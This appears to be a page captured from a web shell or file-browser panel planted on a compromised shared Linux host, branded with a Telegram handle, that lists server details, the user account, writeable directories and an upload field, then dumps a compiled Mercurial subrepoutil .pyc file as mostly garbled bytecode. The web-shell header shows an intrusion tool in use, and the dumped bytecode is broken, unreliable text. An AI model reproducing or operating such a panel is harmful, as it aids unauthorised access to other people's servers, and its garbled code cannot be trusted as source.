https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/subrepoutil.cpython-310.pyc
o

�]Lb�E�@s*ddlmZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZmZddlmZmZdZejrldd	lmZmZmZmZmZmZdd
l
mZmZmZ m!Z!m"Z"m#Z$ee%ee%e%e%ffZ&dd�Z'd
d�Z(ddd�Z)d dd�Z*dd�Z+dd�Z,dd�Z-d!dd�Z.dd�Z/dS)"�)�absolute_importN�)�_)�getattr)�config�error�	filemerge�pathutil�phases�pycompat�util)�
stringutil�urlutil)�rsempty)�Any�Dict�List�Optional�Set�Tuple)�context�	localrepo�match�scmutil�subrepo�uic
s&t�������d�����fdd�	�d�vr�d���d�D]\}}��d||��d|��q i}d�vr�z>t�d�����D]1\}}|��}|sMqBz
|�	dd�\}}Wnt
ynt�t
d	���d�|df��w|||<qBWnty�}z
|jtjkr��WYd}~nd}~ww�fd
d�}	i}
��d�D]t\}}d
}|�d�r�d|vr�t�t
d���|�	dd�\}}|dd�}|��}t�|���s�t�dd�}|r�t�|�}t�|jp�d|�|_t�|j�|_t|�}
|	|
�}||
kr�|	|�}n|}|	|�}|��|�|d�|f|
t� |�<q�|
S)z�return a state dict, mapping subrepo paths configured in .hgsub
    to tuple: (source from .hgsub, revision from .hgsubstate, kind
    (key in types dict))
    Nc
s�|�vr>z�|��}Wn&ty2}z|jtjkr���td���|��WYd}~dSd}~ww��||||��dSt�	td���|���)Ns*warning: subrepo spec file '%s' not found
s subrepo spec file '%s' not found)
�data�IOError�errno�ENOENT�warnr�pathto�parser�Abort)�f�sections�remapr�err��ctx�p�read�repor��7/usr/lib/python3/dist-packages/mercurial/subrepoutil.pyr+?s$����	�zstate.<locals>.read�.hgsub�subpaths�.hgsubstate� rs8invalid subrepository revision specifier in '%s' line %dcs���d�D]9\}}t�|�}t�dd|�}z
t�|||d�}Wqtjy>}zt�td���d|�t�	|�f��d}~ww|S)Nr0s\\\\([0-9]+)s\\\1rs#bad subrepository pattern in %s: %s)
�itemsr
�	escapestr�re�subrr#r�source�forcebytestr)�src�pattern�repl�e)r*r-r.r&ns 

�����zstate.<locals>.remaprshg�[�]s!missing ] in subrepository sourceF��abort)NN)!rr,�configitems�set�configsource�	enumerater�
splitlines�lstrip�split�
ValueErrorrr#rr!rrrr3�
startswithr�url�isabs�
_abssource�	posixpath�join�path�normpath�bytes�strip�getr�pconvert)r)rrOr9�rev�i�l�revisionr'r&�state�kind�parent�joined�remappedr-r(r.rY6sr����
����


"rYcs.�fdd�t��D�}|�dd�|�d�dS)z=rewrite .hgsubstate in (outer) repo with these subrepo statescs4g|]}�|dtdkrd�|d|f�qS)rs%s %s
)�	nullstate��.0�s�rYr-r.�
<listcomp>�s
�zwritestate.<locals>.<listcomp>r1rN)�sorted�wwriterN)r,rY�linesr-rbr.�
writestate�s
�rgcs�||kr|��}|j}|j}|j}i}	�j�d|||f�d�fdd�	}
t�|�}tt�|��D�]D\}}
|�	|t
�}|
}|�|���rO|
d|
ddf}||krU|}|�
�}||d<||v�r=||}||ksn||krs|
|	|<q1||kr�|
|d	|�|�|��	||�||	|<q1|d|dkr�|
d|d
<|d|d<�j�td�|d�r�|
|d
|�|�|��	||�||	|<q1|d|dkr�|
|d|�|�|��	||�||	|<q1|
|d�|�|�}|�|
d�|d<|�|d�|d<�j�td�|d�}|dk�r|�|��|�|
|	|<|
|d|�q1|dk�r)|
|	|<|
|d|
�q1|�|��	||�||	|<|
|d|�q1||k�rO|
|d�|�|���q1|t
k�r^|
|d�|
|	|<q1�j�td�|d��rv|
|d�|�|���q1t|���D]T\}}||v�r��q}||v�r�|
|d|�|�|��	|�||	|<�q}|||k�r�|�
�}||d<�j�td�|d�dk�r�|
|d|�|�|��	|�||	|<�q}t�|	�|	S)z{delegated from merge.applyupdates: merging of .hgsubstate file
    in working context, merging context and ancestor contextssubrepo merge %s %s %s
rcs&|rd|}�j�d|||f�dS)Ns%s:%s:%ss  subrepo %s: %s %s
)r�debug)ra�msg�r�r,r-r.rh�szsubmerge.<locals>.debugrr�+�ssother changed, getslosros� subrepository sources for %(s)s differ
you can use (l)ocal%(l)s source (%(lo)s) or (r)emote%(o)s source (%(ro)s).
what do you want to do?$$ &Local $$ &Remotesprompt changed, getsother side changed, getsboth sides changedsslssrs� subrepository %(s)s diverged (local revision: %(sl)s, remote revision: %(sr)s)
you can (m)erge, keep (l)ocal%(l)s or keep (r)emote%(o)s.
what do you want to do?$$ &Merge $$ &Local $$ &Remotes
merge withskeep local subrepo revisionsget remote subrepo revisionsremote removed, removeslocal added, keepsz local%(l)s changed subrepository %(s)s which remote%(o)s removed
use (c)hanged version or (d)elete?$$ &Changed $$ &Deletes
prompt removesremote added, getsz remote%(o)s changed subrepository %(s)s which local%(l)s removed
use (c)hanged version or (d)elete?$$ &Changed $$ &Deletesprompt recreateN)r)�p1�substaterrhr�
partextrasrdr�	iteritemsrSr^r6�dirty�copy�promptchoicer�shortid�merge�remover3rg)r,�wctx�mctx�actx�	overwrite�labels�s1�s2�sa�smrh�
promptssrcrarW�a�ld�promptsrj�srepo�optionr-rkr.�submerge�s�


����


��	�





���

�

���
��
r�Fcs�g}t�}|j���d|vr�|j|j|jfD]}d|vr!|�d�q|��j}t��	��D]e}	�|	�sI|	|vr>||	�|	<q-|sIt
�td�|	��|�
|	��d�}
|
rm|�dd�sbt
j|
td�d��|�|	�|�|	�q-|�
|	���}�|	d	|�|	d
f�|	<|�|	d�d|kr�|�|	�q-|��D]}�fd
d�|jD�}
|�fdd�|
D�7}q�|r͈d�s�d|��|��vr�t
�td���|j�d	d�nd|jvr�d|vr�d|j|j|jvr�|j�d	d�||�fS)ayCalculate .hgsubstate changes that should be applied before committing

    Returns (subs, commitsubs, newstate) where
    - subs: changed subrepos (including dirty ones)
    - commitsubs: dirty subrepos which the caller needs to commit recursively
    - newstate: new state dict which the caller must write to .hgsubstate

    This also updates the given status argument.
    r/r1s#commit with new subrepo %s excludedTsuiscommitsubreposs#use --subrepos for recursive commit)�hintr�)NNNrcsg|]}|�vr|�qSr-r-r_)�newstater-r.rco�zprecommit.<locals>.<listcomp>csg|]}�|�r|�qSr-r-r_)rr-r.rcpr�s$can't commit subrepos without .hgsub)rBrors�modified�added�removedrwrnrd�keysrr#rr6�dirtyreason�
configbool�append�add�	basestaterS�parents�insert)rrx�statusr�force�subs�
commitsubs�c�oldstaterar��bsr*rjr-)rr�r.�	precommit;s`

�

��

�
��

�
r�cCsf|}g}t�|d�r%t�|j�}|�t|��|��rn	|j}t�|d�s
|�	�t
j|�}t
�|�S)zRreturn the source of this repo

    Either absolute or relative the outermost repo�
_subparent)
r�safehasattrrrJ�
_subsourcer�rQrK�
_subparent�reverserMrNrP)r,r[�chunksr7rOr-r-r.�repo_rel_or_abs_source�s�

r�cCs<|}t�|d�r|j}t�|d�s|jtt�|j��d�S)z9return path to this (sub)repo as seen from outermost repor�N)rr�r��root�lenr	�normasprefix)r,r[r-r-r.�reporelpath�s
�r�cCs|jS)z7return path to this subrepo as seen from outermost repo)�_relpath)r6r-r-r.�
subrelpath�sr�TcCsDt�|d�rDt�|j�}|��rt|�St�|j	�|_	t
|j|dd�}|rCt�t�|��}t�
|j	p3d|j	�|_	t�|j	�|_	t|�SnSd}t�|d�rP|j}n+|ra|j�dd�ra|j�dd�}n|j�dd	�rp|j�dd	�}n|��r{tj	�|j�S|r�t�|�r�t|�d
ks�|d
d�dvr�t�|�}|S|r�t�td
���dS)z�return pull/push path of repo - either based on parent repo .hgsub info
    or on the top repo config. Abort or return None if no source found.r�Fr?rNs_subtoppathspathssdefault-pushsdefaultr��s\/s(default path for subrepository not found)rr�rrJr�rKrQrMrPrOrLr�rTrN�_subtoppathrr�shared�os�dirname�
sharedpath�hasdriveletterr��abspathrr#r)r,�pushr@r7r[rOr-r-r.rL�s:�

�rLc
Cs�t�|�}t|dd�}|s|S|�dd�}|dvr"t�td�|��|dkr(|Stj}d}t|�D]}|�	|�}|�
||d�}	||	krI|	}|}q1||krt|dkrdt�td	�tj|tj||f��|�td
�tj||f�|S|S)Nrosphasess
checksubrepos)�ignoresfollow�aborts.invalid phases.checksubrepos configuration: %sr�rr�s=can't commit in %s phase conflicting %s from subrepository %ssAwarning: changes are committed in %s phase from subrepository %s
)
r
�newcommitphaserrrr#r�publicrdr6�phase�
phasenamesr )
rr)�commitphasero�check�maxphase�maxsubrar6�subphaser-r-r.r��sR

�
��������r�)N)F)FT)0�
__future__rrr�rMr5�i18nrrr�rrrr	r
r�utilsr
rr^�
TYPE_CHECKING�typingrrrrrrrrr�matchmodrrr�uimodrQ�SubstaterYrgr�r�r�r�r�rLr�r-r-r-r.�<module>s0$	  	m

G	
1

https://t.me/RX1948 - 2025